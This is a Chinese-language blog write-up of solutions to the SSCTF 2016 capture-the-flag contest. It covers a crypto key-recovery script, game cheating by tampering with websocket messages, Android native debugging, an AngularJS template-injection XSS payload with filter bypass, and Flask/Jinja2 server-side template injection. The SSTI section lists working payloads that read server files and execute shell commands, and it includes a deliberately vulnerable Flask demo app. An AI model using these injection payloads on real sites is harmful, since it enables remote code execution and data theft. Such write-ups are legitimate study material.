SSCTF2016总结writeup

crypt01

思路: 解密,python 源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
def LShift(t, k):
k %= 8
return ((t << k) | (t >> (8 - k))) & 0xff


def encode(p):
ret = ""
for i in range(8):
ret = ('|' if (p >> i) & 1 else 'O') + ret
return ret


A = [85, 128, 177, 163, 7, 242, 231, 69, 185, 1, 91, 89, 80, 156, 81, 9, 102, 221, 195, 33, 31, 131, 179, 246, 15, 139, 205, 49, 107, 193, 5, 63, 117, 74, 140, 29, 135, 43, 197, 212, 0, 189, 218, 190, 112, 83, 238, 47, 194, 68, 233, 67, 122, 138, 53, 14, 35, 76, 79, 162, 145, 51, 90, 234, 50, 6, 225, 250, 215, 133, 180, 97, 141, 96, 20, 226, 3, 191, 187, 57, 168, 171, 105, 113, 196, 71, 239, 200, 254, 175, 164, 203, 61, 16, 241, 40, 176, 59, 70, 169, 146, 247, 232, 152, 165, 62, 253, 166, 167, 182, 160, 125, 78, 28, 130, 159, 255, 124, 153, 56, 58, 143, 150, 111, 207, 206, 32, 144,
75, 39, 10, 201, 204, 77, 104, 65, 219, 98, 210, 173, 249, 13, 12, 103, 101, 21, 115, 48, 157, 147, 11, 99, 227, 45, 202, 158, 213, 100, 244, 54, 17, 161, 123, 92, 181, 243, 184, 188, 84, 95, 27, 72, 106, 192, 52, 44, 55, 129, 208, 109, 26, 24, 223, 64, 114, 19, 198, 23, 82, 120, 142, 178, 214, 186, 116, 94, 222, 86, 251, 36, 4, 248, 132, 25, 211, 199, 30, 87, 60, 127, 155, 41, 224, 151, 237, 136, 245, 37, 170, 252, 8, 42, 209, 46, 108, 88, 183, 149, 110, 66, 235, 229, 134, 73, 38, 118, 236, 119, 154, 216, 217, 240, 22, 121, 174, 93, 126, 230, 228, 18, 148, 220, 172, 2, 137, 34]
B = [0, 2, 3, 7, 1, 5, 6, 4]
C = [179, 132, 74, 60, 94, 252, 166, 242, 208, 217, 117, 255, 20, 99, 225, 58, 54, 184, 243, 37, 96, 106, 64, 151, 148, 248, 44, 175, 152, 40, 171, 251, 210, 118, 56, 6, 138, 77, 45, 169, 209, 232, 68, 182, 91, 203, 9, 16, 172, 95, 154, 90, 164, 161, 231, 11, 21, 3, 97, 70, 34, 86, 124, 114, 119, 223, 123, 167, 47, 219, 197, 221, 193, 192, 126, 78, 39, 233, 4, 120, 33, 131, 145, 183, 143, 31, 76, 121, 92, 153, 85, 100, 52, 109, 159, 112, 71, 62, 8, 244, 116, 245, 240, 215, 111, 134, 199, 214, 196, 213, 180, 189, 224, 101, 202, 201, 168, 32, 250, 59, 43, 27, 198, 239, 137, 238, 50,
149, 107, 247, 7, 220, 246, 204, 127, 83, 146, 147, 48, 17, 67, 23, 93, 115, 41, 191, 2, 227, 87, 173, 108, 82, 205, 49, 1, 66, 105, 176, 22, 236, 29, 170, 110, 18, 28, 185, 235, 61, 88, 13, 165, 188, 177, 230, 130, 253, 150, 211, 42, 129, 125, 141, 19, 190, 133, 53, 84, 140, 135, 10, 241, 222, 73, 12, 155, 57, 237, 181, 36, 72, 174, 207, 98, 5, 229, 254, 156, 178, 128, 55, 14, 69, 30, 194, 122, 46, 136, 160, 206, 26, 102, 218, 103, 139, 195, 0, 144, 186, 249, 79, 81, 75, 212, 234, 158, 163, 80, 226, 65, 200, 38, 187, 113, 63, 24, 25, 142, 51, 228, 35, 157, 216, 104, 162, 15, 89]
D = [2, 4, 0, 5, 6, 7, 1, 3]

plain = bytearray("asdfghjk123456")
key = bytearray("/*Missed*/")
assert len(key) == 8
t1 = bytearray()
for i in plain:
t1.append(A[i]) # i is ascii value a ==> 97
t2 = bytearray()
for i in range(len(t1)):
t2.append(LShift(t1[i], B[i % 8]))
for times in range(16):
for i in range(len(t2)):
t2[i] = C[t2[i]]
for i in range(len(t2)):
t2[i] = LShift(t2[i], i ^ D[i % 8])
for i in range(len(t2)):
t2[i] ^= key[i % 8]
out = ""
for i in t2:
out += encode(i)
print out

# out>>
# OO|OO||OO|||||OO|OO||O||O|O||O|||O|OOOOOOO|O|O|O|||||OO|||O|||OO||O|OOOOOO|O|OO|OO||||OO|||OOOO|||||O||||O|OO|O|O|O||OO|O||O|OO|O||O|||O||O|OO|OOOOOO||OOO|O|O|O|||O|OO|O|O||O||O||OOOOO|||OO|O|

# flag >>
# OO||O||O|O|||OOOO||||||O|O|||OOO||O|OOOO||O|O|OO|||||OOOO||||O||OO|OO||O||O|O|O|||||OOOOOO|O|O||OOOOOOO||O|||OOOO||OO|OO|||O|OO|O|||O|O|OO|OOOO|OOO|OOO|OOOO||O|OO||||OO||||OOO|O|O||OO||||O||OOO|||O|OO|OO||OO||OOOO|O|

解密步骤:

  • 根据plain = bytearray("asdfghjk123456")加密后得到out,来推测出key
  • 得到key以后,反向编写代码,通过flag得到plain

获取key,并解密,源码为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
__author__ = 'angelwhu'

def LShift(t, k):
k %= 8
return ((t << k) | (t >> (8 - k))) & 0xff

def RShift(t,k):
k %= 8
return ((t >> k) | (t << (8 - k))) & 0xff

def encode(p):
ret = ""
for i in range(8):
ret = ('|' if (p >> i) & 1 else 'O') + ret
return ret

A = [85, 128, 177, 163, 7, 242, 231, 69, 185, 1, 91, 89, 80, 156, 81, 9, 102, 221, 195, 33, 31, 131, 179, 246, 15, 139, 205, 49, 107, 193, 5, 63, 117, 74, 140, 29, 135, 43, 197, 212, 0, 189, 218, 190, 112, 83, 238, 47, 194, 68, 233, 67, 122, 138, 53, 14, 35, 76, 79, 162, 145, 51, 90, 234, 50, 6, 225, 250, 215, 133, 180, 97, 141, 96, 20, 226, 3, 191, 187, 57, 168, 171, 105, 113, 196, 71, 239, 200, 254, 175, 164, 203, 61, 16, 241, 40, 176, 59, 70, 169, 146, 247, 232, 152, 165, 62, 253, 166, 167, 182, 160, 125, 78, 28, 130, 159, 255, 124, 153, 56, 58, 143, 150, 111, 207, 206, 32, 144,
75, 39, 10, 201, 204, 77, 104, 65, 219, 98, 210, 173, 249, 13, 12, 103, 101, 21, 115, 48, 157, 147, 11, 99, 227, 45, 202, 158, 213, 100, 244, 54, 17, 161, 123, 92, 181, 243, 184, 188, 84, 95, 27, 72, 106, 192, 52, 44, 55, 129, 208, 109, 26, 24, 223, 64, 114, 19, 198, 23, 82, 120, 142, 178, 214, 186, 116, 94, 222, 86, 251, 36, 4, 248, 132, 25, 211, 199, 30, 87, 60, 127, 155, 41, 224, 151, 237, 136, 245, 37, 170, 252, 8, 42, 209, 46, 108, 88, 183, 149, 110, 66, 235, 229, 134, 73, 38, 118, 236, 119, 154, 216, 217, 240, 22, 121, 174, 93, 126, 230, 228, 18, 148, 220, 172, 2, 137, 34]
B = [0, 2, 3, 7, 1, 5, 6, 4]
C = [179, 132, 74, 60, 94, 252, 166, 242, 208, 217, 117, 255, 20, 99, 225, 58, 54, 184, 243, 37, 96, 106, 64, 151, 148, 248, 44, 175, 152, 40, 171, 251, 210, 118, 56, 6, 138, 77, 45, 169, 209, 232, 68, 182, 91, 203, 9, 16, 172, 95, 154, 90, 164, 161, 231, 11, 21, 3, 97, 70, 34, 86, 124, 114, 119, 223, 123, 167, 47, 219, 197, 221, 193, 192, 126, 78, 39, 233, 4, 120, 33, 131, 145, 183, 143, 31, 76, 121, 92, 153, 85, 100, 52, 109, 159, 112, 71, 62, 8, 244, 116, 245, 240, 215, 111, 134, 199, 214, 196, 213, 180, 189, 224, 101, 202, 201, 168, 32, 250, 59, 43, 27, 198, 239, 137, 238, 50,
149, 107, 247, 7, 220, 246, 204, 127, 83, 146, 147, 48, 17, 67, 23, 93, 115, 41, 191, 2, 227, 87, 173, 108, 82, 205, 49, 1, 66, 105, 176, 22, 236, 29, 170, 110, 18, 28, 185, 235, 61, 88, 13, 165, 188, 177, 230, 130, 253, 150, 211, 42, 129, 125, 141, 19, 190, 133, 53, 84, 140, 135, 10, 241, 222, 73, 12, 155, 57, 237, 181, 36, 72, 174, 207, 98, 5, 229, 254, 156, 178, 128, 55, 14, 69, 30, 194, 122, 46, 136, 160, 206, 26, 102, 218, 103, 139, 195, 0, 144, 186, 249, 79, 81, 75, 212, 234, 158, 163, 80, 226, 65, 200, 38, 187, 113, 63, 24, 25, 142, 51, 228, 35, 157, 216, 104, 162, 15, 89]
D = [2, 4, 0, 5, 6, 7, 1, 3]

print "len(A):" + str(len(A))
print "len(C):" + str(len(C))
plain = bytearray("asdfghjk12345678")

t1 = bytearray()
for i in plain:
t1.append(A[i])
#print i
print "len(t1):" + str(len(t1))

t2 = bytearray()
for i in range(len(t1)):
t2.append(LShift(t1[i], B[i % 8]))

print "len(t2):" + str(len(t2))

'''
Ready to decode.
'''
out = "OO|OO||OO|||||OO|OO||O||O|O||O|||O|OOOOOOO|O|O|O|||||OO|||O|||OO||O|OOOOOO|O|OO|OO||||OO|||OOOO|||||O||||O|OO|O|O|O||OO|O||O|OO|O||O|||O||O|OO|OOOOOO||OOO|O|O|O|||O|OO|O|O||O||O||OOOOO|||OO|O|"
flag = "OO||O||O|O|||OOOO||||||O|O|||OOO||O|OOOO||O|O|OO|||||OOOO||||O||OO|OO||O||O|O|O|||||OOOOOO|O|O||OOOOOOO||O|||OOOO||OO|OO|||O|OO|O|||O|O|OO|OOOO|OOO|OOO|OOOO||O|OO||||OO||||OOO|O|O||OO||||O||OOO|||O|OO|OO||OO||OOOO|O|"
m = 0
tmp = ""
R1 = bytearray();
for ch in flag :
if ch == 'O':
ch_tmp = '0'
else :
ch_tmp = '1'
tmp = tmp + ch_tmp
if (m + 1) % 8 == 0:
R1.append(int(tmp , 2))
tmp = ""

m = m + 1

for i in R1 :
print i

print "len(R1):" + str(len(R1))

out_test = ""
for i in R1:
out_test += encode(i)
print out_test
#assert out == out_test

print "key:"

for tR in range(16):
for test_key in range(256):
tmp = t2[tR]
for times in range(16):
#for i in range(len(t2)):
tmp = C[tmp]
#for i in range(len(t2)):
tmp = LShift(tmp, tR ^ D[tR % 8])
#for i in range(len(t2)):
tmp ^= test_key
if tmp == R1[tR]:
print str(tR) + ":" + str(test_key)

'''
0:94 ^
1:38 &
2:35 #
3:113 q
4:68 D
5:57 9
6:51 3
7:95 _
'''

'''
decrypt program
'''
key = [94,38,35,113,68,57,51,95]

for times in range(16):
for i in range(len(R1)):
R1[i] ^= key[i % 8]
for i in range(len(R1)):
R1[i] = RShift(R1[i], i ^ D[i % 8])
for i in range(len(R1)):
R1[i] = C.index(R1[i]) #

R2 = bytearray()
for i in range(len(R1)):
R2.append(RShift(R1[i], B[i % 8]))

plain = bytearray()
for i in R2:
plain.append(A.index(i)) # i is ascii value a ==> 97

print plain


#SSCTF{1qaz9ol.nhy64rfv7ujm}

主要问题:

  • plain为asdfghjk123456有14位,而out为24位。其实是没有补全,猜测了两位78
  • key为8位,是一一对应的加密,所以有16位,即可确定key。

misc100-pdf

思路: pdf隐写 搜索工具wbs43open,点击解密即可。有点坑。

hungry_game

思路: js代码修改调试,websocket原理。

  • 对于websocket相关问题,好方法就是下载js代码,本地调试修改

开始修改js:

  • 首先,在style中加上float:right;,将控制面板调到右边,方便看。

  • 修改登录,没必要每次输入用户名和密码。

    function asklogin() {
        defaultusername = localStorage.getItem('username');
        if(defaultusername==null){
            defaultusername = '';
        }
        defaultpassword = localStorage.getItem('password');
        if(defaultpassword==null){
            defaultpassword = '';
        }
        /*
        username = prompt('Input your email', defaultusername);
        if(username!=null){
            localStorage.setItem('username',username)
        }
        password = prompt('Input your password',defaultpassword);
        if(password!=null){
            localStorage.setItem('password',password)
        }
        */
        username = "***";
        password = "***";
        data = JSON.stringify([msg('login', {
            'username': username,
            'password': password
        })]);
        ws.send(data);
    }

第一关

直接修改js代码,跳关即可。

第二关

直接跳关,会被服务器kick。需要进行伐木9999次,这时需要先发砍树9999次的数据,再跳关:

1
2
3
4
5
6
7
8
9
10
11
tmp = 9999000
if (tmp > 1000 && woodstart != -1) {
woodstart = -1;
data = JSON.stringify([msg('wood', {
'time': tmp
})]);
for(var i =0 ; i < 2 ; i++){
ws.send(data);
}
onnextdoor();
}

第三关

这里判断了每次收集钻石的个数,不超过50,写个循环发送即可:

1
2
3
4
5
6
7
8
9
10
11
12
diamondtimes = 50;
data = JSON.stringify([msg('diamond', {
'count': diamondtimes
})]);

//ws.send(data);

for (var i = 0;i< 9999/50 + 1 ; i++)
{
ws.send(data);
}
onnextdoor();

第三关

打BOSS: 这里猜一下,把attack对象,改成BOSS的位置即可:

1
2
3
4
5
6
7
8
9
10
11
data = JSON.stringify([msg('attack', {
/*
'x': users[heroname].x,
'y': users[heroname].y
*/
'x': boss.x, // attack boss , need to guess~~
'y': boss.y
})]);
ws.send(data);
attacking = true;
second = Date.parse(new Date());

打15下后,得到flag:

re1-apk

思路: android 反编译,动态调试。 先通过jeb反编译apk。然后动态调试apk和底层的so文件。这里记录下debug方法。 android debug方法:

1
2
http://drops.wooyun.org/tips/6840
http://blog.csdn.net/androidsecurity/article/details/8859464
  • 把ida目录下android_server传到android 目录中

    adb push  android_server /data/local/tmp/
    adb shell 进入模拟器
    cd /data/local/tmp/
    chmod 755 android_server
    ./android_server
    看到监听端口 23946
  • adb转发调试端口:

    adb forward tcp:23946 tcp:23946
  • 打开ddms(tools/monitor.bat),这样才能进行调试.

  • 设置ida:

    debug  ---> process options ---> hostname:localhost port: 23946  
  • 开始调试:

    在虚拟机中打开apk程序  
    debug  ---> attach 对应的apk程序即可。  

在so文件逻辑中,下断点,关键位置在最后判断处。没有对密码进行处理。直接下断点,即可得到flag。 问题:

  1. 不能使用Genymotion,只能使用自带模拟器。虽然启动慢,但大约1分钟,如果启动太慢,说明出了问题。
  2. 自带模拟器中,选择Nexus_5版本,resize一下屏幕大小。
  3. 使用arm系统镜像,才能运行androidserver。
  4. 选择API 16,才能运行androidserver。
  5. 调试之前,打开ddms,这样程序才不会闪退。
  6. 直接使用sdk中的AVD和SDK Manager即可,无需依赖其他IDE(如:eclipse,android studio)。

web02-xss

思路:AngularJS框架模板注入 ,xss

1
http://blog.portswigger.net/2016/01/xss-without-html-client-side-template.html

AngularJS框架具有其特殊的语法:

1
{{表达式}}

可以执行js脚本,绕过过滤,进而实现xss。 下载对应js,进行本地调试。网上有个payload,可以弹框:

1
{ {'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

然后,直接修改下payload,绕过过滤就行:

1
http://960a23aa.seclover.com/index.php?xss={ {%27a%27.coonnstructor.prototype.charAt=[].join;$evevalal(%27x=1}%20}%20};alealertrt(1)//%27);}}

web04-python-SSTI

思路:flask 模板注入

  • 与xss模板注入类似,都是由特殊语法{{表达式}},{% 循环语句等 %}
  • 可以通过注入和python特性,可以执行任意代码。
  • 若使用system执行命令,无法得到回显。 python使用popen函数才会有回显。

参考文章:

1
2
https://hexplo.it/escaping-the-csawctf-python-sandbox/   
http://drops.wooyun.org/web/13057

payload:

1
2
{ { [].__class__.__base__.__subclasses__()[40]('ssctf.py').read() }}
{ { [].__class__.__base__.__subclasses__()[40](__file__).read() }}

获取绝对地址:

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %}{ { c.__init__.func_globals['linecache'].__dict__['os'].path.realpath(__file__) }}{% endif %}{% endfor %}

获取当前文件列表:

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %}{ { c.__init__.func_globals['linecache'].__dict__['os'].listdir('.') }}{% endif %}{% endfor %}

问题:

  • github上对名字有字数限制。 调整payload,对其进行直接处理,如上payload。
  • 环境无法执行命令,思考如何遍历文件? 使用 __file__全局变量,获取当前文件名即可。

测试payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
To visit python internal varibles.

https://hexplo.it/escaping-the-csawctf-python-sandbox/
http://drops.wooyun.org/web/13057

1. use to exec python code:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.func_globals.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{ { b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.func_globals.values() %}{% if b.__class__ == {}.__class__ %}{% if 'eval' in b.keys() %}{ { b['eval']('__import__(\"os\").popen(\"ls\").read()') }}{% endif %}{% endif %}{% endfor %}{% endif %}{% endfor %}

2. use to exec shell command:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{ { c.__init__.func_globals['linecache'].__dict__['os'].popen('id').read() }}
{% endif %}
{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %}{ { c.__init__.func_globals['linecache'].__dict__['os'].popen('calc').read() }}{% endif %}{% endfor %}

3. easy exec
{ { [].__class__.__base__.__subclasses__()[40]('D:/log_network.txt').read() }}
[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].__dict__.values()[137]('calc')
  • 上述注入均可准确执行,运行ssctf_demo.py,即可测试。

测试Demo如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# -*- coding: utf-8 -*-
from flask import Flask,abort,request,session,redirect,render_template_string
import os
import json
import datetime
import urllib
import re
import time
import hashlib

import threading
# from rauth.service import OAuth2Service

BASE_DIR = os.path.dirname(os.path.abspath(__file__))
DEBUG = os.name =='nt'
if DEBUG:
WEBHOME = 'http://127.0.0.1/'
else:
WEBHOME = 'http://b525ac59.seclover.com/'

app = Flask(__name__)
app.debug = DEBUG
app.secret_key = "sflkgjsiotu2rjdskjfnpwq9rwrehnpqwd0i2ruruogh9723yrhbfnkdsjl"
app.flagman = (1,'flagman','SSCTF{dc28c39697058241d924be06462c2040}','http://www.seclover.com/wp-content/uploads/2015/07/logo.png')


@app.route('/')
def user():

name = request.args.get('name', 'test_name')


name = str(name)

template = u'''<lable>name:''' + name + '</lable>' //这里存在注入问题。
#template += u"<br>{ {app.secret_key}}"
return render_template_string(template,**(dict(globals(), **locals())))




if __name__ == '__main__':
app.run(host='0.0.0.0',port=8081)
文章作者: angelwhu
文章链接: https://www.angelwhu.com/paper/2016/03/04/ssctf2016-summary-writeup/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 angelwhu_blog